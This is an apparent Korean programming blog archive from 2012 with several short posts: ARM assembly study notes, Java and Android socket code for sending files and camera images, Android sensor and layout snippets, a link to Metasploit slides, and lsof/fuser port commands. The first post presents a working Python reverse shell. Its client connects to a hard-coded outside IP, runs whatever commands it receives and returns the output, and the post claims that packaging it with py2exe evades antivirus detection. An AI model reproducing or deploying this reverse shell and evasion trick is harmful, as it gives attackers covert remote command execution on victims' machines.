2012. 9. 25. 16:14

파이썬 코딩중 재밌는것은 파이썬코드를 그대로 exe 파일로 변환 시킬수 있는 프로그램(?) 이 있다는 것이다.

하나는 freeze 라는 것이고 (혹은 cx_freeze)  또하나는 py2exe 이다 .

 

한데 재밌는 사실은 이렇게 만들어진 프로그램은 알아서 패킹이 된다는 점이다.

그리고 system call 을 호출시 백신에서 탐지되던 부분도 없어 지는 듯하다.

 

즉 python 으로 리버스커넥션을 짜면 system call 류중 하나로 아쥬 아쥬 심플하게 리버스 커넥션을 구현 할 수 있다.

 

[Client ]

 

import socket
import os


HOST='223.194.105.120'
PORT = 1235
sock =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

while 1:
        data = sock.recv(255)
        print data
        p=os.popen(data)
        sock.send("RESULT \n"+p.read())

        p.close()

sock.close()

 

Server

 

import socket
PORT=1235

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('',PORT))
sock.listen(5)
conn,client = sock.accept()
print client
while 1:
        input_value = raw_input('>')
        print input_value

        conn.sendall(input_value)
        data = conn.recv(2048)
        print data
sock.close()

 

 

 

 

아래는 결과 화면이다.

 

 

 

 

Posted by k1rha
2012. 9. 24. 21:45

[ 출처 : http://clarus.tistory.com/198 ] 


본 게시물은 위에 남긴 티스토리의 내용을 개인이 공부하기 편하게 요약 정리 해 놓은 판입니다.

위에 티스토리 글이 정리가 너무나 잘되어 있어서 공부하실 때 위에 것을 참조 하시는게 좋습니다.


본 내용은 어거지성 암기법도 들어가고 필자의 추측도 들어가 있습니다.

개인 공부용이니 너무 욕하지 말아주세요~


ARM Register Structure 


 1. Branch : 가지, 지사,분기


 2. DataProcessing  :데이터의 처리

    (MOV,MVN,CMP,CMN,TST,TEQ,ADD,SUB…)


 3. Load/Store : 적재, 저장

   (LDR,ADR)


 4. SWAP  : 교환


 5. PSR(MRS,MSR)  :


 6. SWI  : swich 의약자.


 7. DCD directives


 8. EXPORT, IMPORT   : 가져오기 내보내기


위에 써진 명령어들이 큰 주제들이다. 이것들을 하나씩 봐보도록 하겠다. 


[branch]  : 지사, 분기   (여기서는 분기란 의미로 사용 된다고 보면 편하다.)


     약어 : B(Branch) , L(Labeling) , X(eXchange)


B _printf ; _printf 로 점프하라


BL _printf ; R14 돌아올 주소를 Labeling 해놓고 이동한다.


BX _printf ; 현재 모드를 exchange 한다. (X : eXchange)


BLX _printf ; 두개의 짬뽕

 


 [Data Processing] : 데이터 처리 


  약어 : MOV(Move) , CMP(Compare) , MVN (MoVe NULL),SUB(SUBtraction), RSB(Reverse SuBstraction), ADD(Addition), BIC (Between ~~~)


[명령어 , 대상 레지스터 , 장난레지스터, 레지스터 or]

MOV R1,R2   ; R1:=R2

MVN R1,#0 ; R1:=0xFFFFFFFF

ADD R0,R1,R2 ; R0:=R1+R2

SUB R0,R1,#5  ; R0:=R1-5

RSB  R0,R2,R3 ; R0=R3-R2  (Reverse Sub)

AND R0,R2,R3 ; R0:=R2&R3

BIC  R0,R2,R3  ; R0:=R2 & ~R3 (R31이 들어있는 filed0)

CMP  R0,R2   ; R0>R2 면 다음조건에서 큰경우, 아니면 작은경우



 [Load / Store]

 

   약어  : LDR(LoaD Register), STR(STORE Register), B(Byte)


포인터와 비슷한 개념!!  : [Rn]=*RN    [] 주소값! *는 가르키는 곳!


LDR  : LoaD Register(주소 값을 담음)

Ex)LDR Rd,[Rn,offset] ; Rd:=*(Rn+offset)

LDR Rd,[Rn,offset]!   ;  Rn:=Rn+offset,Rd=*(Rn 대상값을 업데이트!

STR Rd,[Rn,offset] ; *(Rn_offset) = Rd (적재!)

LDRB (LDR 의 바이트코드)


STRB (STR의 바이트 코드)  



[SWAP]

  약어 : SWP (SWAP)


일반 메모리 영역과 register 를 바꿔 치기하는데 사용됨!

Ex)SWP R0,R1,[R2] : R0 = *(R2),*(R2)=R1


[R2] R0에 저장해 두고, [R2]R1을 넣음.


한데 R0R1에 넣진 않음..(why?!)



[PSR]


  약어 : CPSR(Copy ProceSs Register), SPSR


CPSR SPSR 두 개와 일반 Register사이의 값을 서로 복사 할 수 있는 명령어들

MRS R5,CPSR  : R5 : =CPSR

MSR CPSR,R5  : CPSR : = R5

S = PSR 을 의미하고 RRegister를 의미

Move Register PSR 이런 식으로 해석

CPSR_c(control)

CPSR_f(flag)

CPSR_cf(control,flag) 로 준비되어 있음.


  [SWI] : SoftWare Interrupt



Soft Ware Interrupt 명령은 Software가 일부러 Exception을 발생시킬수 있는 유일한 명령어.


보통 user mode 에서 다른 모드로 전환할때 사용. 가장 큰 용례로 kernel SVC mode 일반 application은 
user Mode 일때 일반 applicationkernel에게 뭔가 부탁할때 쓰임

EX) SWI 0x11 : Software Interrupt Handler 에서 0x11 번재 case를 호출함.





  [DCD] : Data Calloc Dimention


DCD  를 만나면 Data Calloc DIMENSION ~ 메모리를 배열처럼 할당해 주는 기분이다.

(여러 개를 늘어놓으면 여러 개의 ARRAY처럼 쓸 수 있다.)

DCB  1Byte 짜리 Data

DCW 2Byte 짜리 Data

DCD 4Byte 짜리 Data (& 값처럼 값을 미리 넣어둘 곳을 지정 가능)

DCQ 8Byte 짜리 Data (static으로 선언해주는 듯이 사용가능)

DCD&와 같다. 메모리 영역에 내가 원하는 값을 넣어 놓도록 메모리를 확보해 놔!



1차적으로 이해가 제대로 된부분은 여기까지라 여기까지만 정리해보고..담은 분석부터 차근차근!!

기대기대~




Posted by k1rha
2012. 9. 16. 16:05

[출처 :http://blog.naver.com/inganyoyo?Redirect=Log&logNo=90072811148


receive.java

#####################################################################

import java.io.File;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.net.Socket;

import java.net.UnknownHostException;

 

public class receiver extends Thread {

Socket socket = null

File file = null

FileOutputStream fos = null

InputStream is = null

 

public receiver() throws UnknownHostException, IOException {

socket = new Socket("127.0.0.1", 8000);

file = new File("./receiver.avi");

fos = new FileOutputStream(file);

is = socket.getInputStream();

}

 

public static void main(String[] args) throws UnknownHostException,

IOException {

receiver r = new receiver();

 

int readCount = 0;

byte[] buffer = new byte[4096];

r.start();

while ((readCount = r.is.read(buffer)) > 0) {

r.fos.write(buffer, 0, readCount);

}

System.out.println(");

r.is.close();

r.fos.close();

r.stop()

}

 

public void run() {

File file = new File("./receiver.avi");

long curr = 0;

long before = 0;

while (true) {

if (file.exists()) {

try {

Thread.sleep(1000);

curr = file.length();

System.out

.println((double) ((((curr - before) / 1024)) / 1024));

before = curr;

 

catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}

}

 ###################################################################


sender.java

#####################################################################

import java.io.File;

import java.io.FileInputStream;

import java.io.IOException;

import java.io.OutputStream

import java.net.ServerSocket;

import java.net.Socket;

 

public class sender {

public static void main(String[] args) throws IOException {

ServerSocket ss = new ServerSocket(8000);

Socket socket = ss.accept();

OutputStream os = socket.getOutputStream();

 

File file = new File("./sender.avi");

FileInputStream fis = new FileInputStream(file);

int readCount = 0;

byte[] buffer = new byte[4096];

 

while((readCount = fis.read(buffer))>0){

os.write(buffer, 0, readCount);

}

 

System.out.println(");

os.close();

fis.close();

 

 

}

}

 

#####################################################################

[출처] 자바 파일전송|작성자 우왕귿


Posted by k1rha
2012. 9. 14. 11:56

Androidのカメラを使用したかったのでサンプルプログラムを書いてみた.

ついでに,取得した画像をPCにソケットで転送しPCのディスプレイ上で表示した.




以下,プログラム.
カメラ画像の取得については,↓のサイトを参考にした.
Androidメモ

画像の解像度は,デフォルトサイズでは,2048×1536(1M~1.2M)となり,転送に時間がかかったので,480×320に変更した.

[Android側-CameraTest.java]

  1. package com.blogspot.ayakix_lablog.camera;  
  2. import android.app.Activity;  
  3. import android.os.Bundle;  
  4. import android.view.Window;  
  5. import android.view.WindowManager;  
  6.   
  7. public class CameraTest extends Activity {  
  8.  /** Called when the activity is first created. */  
  9.  @Override  
  10.  public void onCreate(Bundle savedInstanceState) {  
  11.   super.onCreate(savedInstanceState);  
  12.   requestWindowFeature(Window.FEATURE_NO_TITLE);  
  13.   setContentView(new CameraView(this));  
  14.   getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);  
  15.  }  
  16. }  


[Android側-CameraView.java]
  1. package com.blogspot.ayakix_lablog.camera;  
  2. import android.content.Context;  
  3. import android.graphics.PixelFormat;  
  4. import android.hardware.Camera;  
  5. import android.view.MotionEvent;  
  6. import android.view.SurfaceHolder;  
  7. import android.view.SurfaceView;  
  8. import java.io.BufferedOutputStream;  
  9. import java.net.Socket;  
  10.   
  11. public class CameraView extends SurfaceView implements SurfaceHolder.Callback {  
  12.  private SurfaceHolder holder; //ホルダー  
  13.  private Camera camera; //カメラ  
  14.  private static final int WIDTH  = 480;  
  15.  private static final int HEIGHT = 320;  
  16.  private static final int PORT = 4680;  
  17.  private static final String IP_ADDR = "1.1.1.1"// IPアドレス  
  18.   
  19.  public CameraView(Context context) {  
  20.   super(context);  
  21.   // サーフェイスホルダーの生成  
  22.   holder=getHolder();  
  23.   holder.addCallback(this);  
  24.   //プッシュバッッファの指定  
  25.   holder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);  
  26.  }  
  27.   
  28.  public void surfaceCreated(SurfaceHolder holder) {  
  29.   // カメラの初期化  
  30.   try {  
  31.    camera=Camera.open();  
  32.    camera.setPreviewDisplay(holder);  
  33.   } catch (Exception e) {  
  34.   }  
  35.  }  
  36.   
  37.  public void surfaceChanged(SurfaceHolder holder,int format,int w,int h) {  
  38.   // カメラのプレビュー開始  
  39.   Camera.Parameters parameters=camera.getParameters();  
  40.   parameters.setPictureSize(WIDTH, HEIGHT);  
  41.   parameters.setPreviewFormat(PixelFormat.JPEG);  
  42.   camera.setParameters(parameters);  
  43.   camera.startPreview();  
  44.  }  
  45.   
  46.  public void surfaceDestroyed(SurfaceHolder holder) {  
  47.   // カメラのプレビュー停止  
  48.   camera.setPreviewCallback(null);  
  49.   camera.stopPreview();  
  50.   camera.release();  
  51.   camera=null;  
  52.  }  
  53.   
  54.  @Override  
  55.  public boolean onTouchEvent(MotionEvent event) {  
  56.   if (event.getAction()==MotionEvent.ACTION_DOWN) {  
  57.    takePicture();  
  58.    camera.startPreview();  
  59.   }  
  60.   return true;  
  61.  }  
  62.   
  63.  public void takePicture() {  
  64.   // カメラのスクリーンショットの取得  
  65.   camera.takePicture(nullnull,new Camera.PictureCallback() {  
  66.    public void onPictureTaken(byte[] data,Camera camera) {  
  67.     sendData(getContext(), data);  
  68.    }  
  69.   });  
  70.  }  
  71.   
  72.  private void sendData(Context context, byte[] data){  
  73.   // ソケットの作成  
  74.   Socket socket;  
  75.   BufferedOutputStream out;  
  76.   try{  
  77.    socket = new Socket(IP_ADDR, PORT);  
  78.    out = new BufferedOutputStream(socket.getOutputStream());  
  79.    out.write(data);  
  80.    if(out != null) out.close();  
  81.    if(socket != null) socket.close();  
  82.   } catch (Exception ex){  
  83.    ex.printStackTrace();  
  84.   }  
  85.  }  
  86. }  


[Android側-AndroidManifest.xml]
  1. <manifest versioncode="1" versionname="1.0" package="com.blogspot.ayakix_lablog.camera" android="http://schemas.android.com/apk/res/android">  
  2. <application icon="@drawable/icon" label="@string/app_name">  
  3.  <activity label="@string/app_name" name=".CameraTest" android:screenorientation="landscape">  
  4.   <intent-filter>  
  5.                  <action name="android.intent.action.MAIN">  
  6.                   <category name="android.intent.category.LAUNCHER"></category>  
  7.           </action>  
  8.       </intent-filter>  
  9.       <uses-permission name="android.permission.CAMERA"></uses-permission>  
  10.       <uses-permission name="android.permission.INTERNET"></uses-permission>  
  11.  </activity>  
  12. </application>  
  13. </manifest>  


[PC側-Main.java]
  1. import java.io.*;  
  2. import java.net.*;  
  3.   
  4. public class Main {  
  5.  private static final int PORT = 4680;  
  6.   
  7.  public static void main(String argv[]) {  
  8.   System.out.println("サーバ起動");  
  9.   int num = 0;  
  10.   ServerSocket serverSocket = null;  
  11.   while(true){  
  12.    try {  
  13.     // サーバーソケットの生成  
  14.     if(serverSocket == null) serverSocket = new ServerSocket(PORT);  
  15.     // クライアントからの接続を待ちます  
  16.     Socket socket = serverSocket.accept();  
  17.     BufferedOutputStream out = new BufferedOutputStream(  
  18.        new FileOutputStream(new File(num + ".jpg")));  
  19.     // 入力ストリームを取得  
  20.     BufferedInputStream in = new BufferedInputStream(socket.getInputStream());  
  21.     byte[] buf = new byte[1024];  
  22.     int len;  
  23.     while((len=in.read(buf))!=-1){  
  24.      out.write(buf, 0, len);  
  25.     }  
  26.     // GUIで画像を表示  
  27.     new GUIExe(num);  
  28.     // 入出力ストリームを閉じる  
  29.     out.flush();  
  30.     out.close();  
  31.     in.close();  
  32.     System.out.println("done");  
  33.     // ソケットを閉じる  
  34.     socket.close();  
  35.     num++;  
  36.    } catch(Exception e) {  
  37.     e.printStackTrace();  
  38.    }  
  39.   }  
  40.  }  
  41. }  
  42.   
  43. class GUIExe extends Thread {  
  44.  private int num;  
  45.    
  46.  public GUIExe(int num) {  
  47.   this.num = num;  
  48.   this.start();  
  49.   // スレッド開始  
  50.  }  
  51.  public void run() {  
  52.   new GUI(num);  
  53.  }  
  54. }  


[PC側-GUI.java]
  1. import java.awt.Graphics;  
  2. import java.awt.Graphics2D;  
  3. import java.awt.event.WindowAdapter;  
  4. import java.awt.event.WindowEvent;  
  5. import java.awt.image.BufferedImage;  
  6. import java.io.File;  
  7. import javax.imageio.ImageIO;  
  8. import javax.swing.JFrame;  
  9.   
  10. public class GUI extends JFrame {  
  11.  private int num;  
  12.  private final int WIDTH  = 480;  
  13.  private final int HEIGHT = 320;  
  14.    
  15.  public GUI(int num){  
  16.   this.num = num;  
  17.   this.addWindowListener(new WindowAdapter(){  
  18.    public void windowClosing(WindowEvent e){  
  19.     System.exit(0);  
  20.    }  
  21.   });  
  22.   
  23.   this.setBounds(00, WIDTH, HEIGHT);  
  24.   this.setLocation(num/3*WIDTH, num%3*HEIGHT);  
  25.   this.setUndecorated(true);  
  26.   this.setVisible(true);  
  27.  }  
  28.   
  29.  public void paint(Graphics g){  
  30.   Graphics2D g2 = (Graphics2D)g;  
  31.   BufferedImage readImage = null;  
  32.   try {  
  33.    readImage = ImageIO.read(new File(num + ".jpg"));  
  34.   } catch (Exception e) {  
  35.    e.printStackTrace();  
  36.    readImage = null;  
  37.   }  
  38.   if (readImage != null){  
  39.    g2.drawImage(readImage, 00, WIDTH, HEIGHT, this);  
  40.   }  
  41.  }  
  42. }  

Posted by k1rha
2012. 9. 10. 19:50

from array import *

from subprocess import *

from socket import *

import os


SEND_MSG =""

PROCCESS_PATH ="checkList.conf"

PROCLIST_FILE = open(PROCCESS_PATH,'r')

PATH_LIST = PROCLIST_FILE.readlines()

flag = 0

i=0;

while len(PATH_LIST)>i :

# print(PATH_LIST[i])

pipe = os.popen(PATH_LIST[i])

RESULT_VALUE = pipe.readlines()

j=0

if(len(RESULT_VALUE[j])<1) : 

SEND_MSG = PATH_LIST[i]+"can`t resume !! "

break


while len(RESULT_VALUE) > j :

SEND_MSG =SEND_MSG+RESULT_VALUE[j]

j=j+1


i=i+1

pipe.close()


print(SEND_MSG)

Posted by k1rha
2012. 9. 10. 00:19

nowDisplay = ((WindowManager) getSystemService(WINDOW_SERVICE))

.getDefaultDisplay();


// 변수에 해상도 저장하기.

int width = nowDisplay.getWidth();

int height = nowDisplay.getHeight();


Posted by k1rha
2012. 9. 9. 21:23

LayoutInflater controlInflater = LayoutInflater.from(getBaseContext());

View viewControl = controlInflater.inflate(R.layout.make_room, null);

LayoutParams layoutParamsControl = new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT);

this.addContentView(viewControl, layoutParamsControl);

Posted by k1rha
2012. 9. 9. 17:59

가끔 헤깔릴때가 있는데 센서값은 manifast 에 등록시켜주지 않아도 잘 작동한다. 


public class MainActivity extends Activity {

SensorManager mSm;

CompassView mView;

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

mView = new CompassView();


mSm = (SensorManager)getSystemService(Context.SENSOR_SERVICE);

}


protected void onResume() {

super.onResume();

mSm.registerListener(mView, mSm.getDefaultSensor(Sensor.TYPE_ORIENTATION), 

SensorManager.SENSOR_DELAY_UI);

}


protected void onPause() {

super.onPause();

mSm.unregisterListener(mView);

}


class CompassView implements SensorEventListener {

float azimuth;

float pitch;

float roll;

final static int MAX = 30;

Paint textPnt = new Paint();

Bitmap compass;

int width;

int height;

int w10;

int h10;

int thick;

int length;




public void onAccuracyChanged(Sensor sensor, int accuracy) {

}


public void onSensorChanged(SensorEvent event) {

float[] v = event.values;

switch (event.sensor.getType()) {

case Sensor.TYPE_ORIENTATION:

if (azimuth != v[0] || pitch != v[1] || roll != v[2]) {

azimuth = v[0];

pitch = v[1];

roll = v[2];

Log.e("Test Acitivitiy","--------------------"+pitch);

}

break;

}

}

}

}

Posted by k1rha
2012. 9. 6. 19:12

메타스플로잇에서 안쓰던기능까지 한번 리뷰하는 느낌이였다. 


용량이 20M 라서 ...링크를 걸어본다.


http://down.posquit0.com/Posquit0-Metasploit_101.pdf


armitego 의경우는 시연으로만보여줘서..자료가없음..


한가지 확실한 것은 절대로 악용해서는 안되며 악용할생각도 해서는안된다.. 


다만 연구나 진단을 위해만사용해야 한다는 점!!  


Posted by k1rha
2012. 9. 6. 18:24

[출처 네이버 지식인]


서버 관리를 하다보면 특정 포트가 이미 사용중이여서 다른것을 사용 못하는 경우가 있다.

이대 특정 포트를 사용하는 프로그램을 알아보고 포트를 죽이는 방법은 아래와 같다.


포트를 사용하는 프로그램을 확인하는 방법은
lsof -i TCP:port 번호 하시면(ex: lsof -i TCP:22)
그 포트를 사용하는 프로그램명이 나옵니다.

간단히 프로그램을 죽이는 방법은
fuser -k -n tcp port번호 하시면 됩니다.(ex: fuser -k -n tcp 22)



Posted by k1rha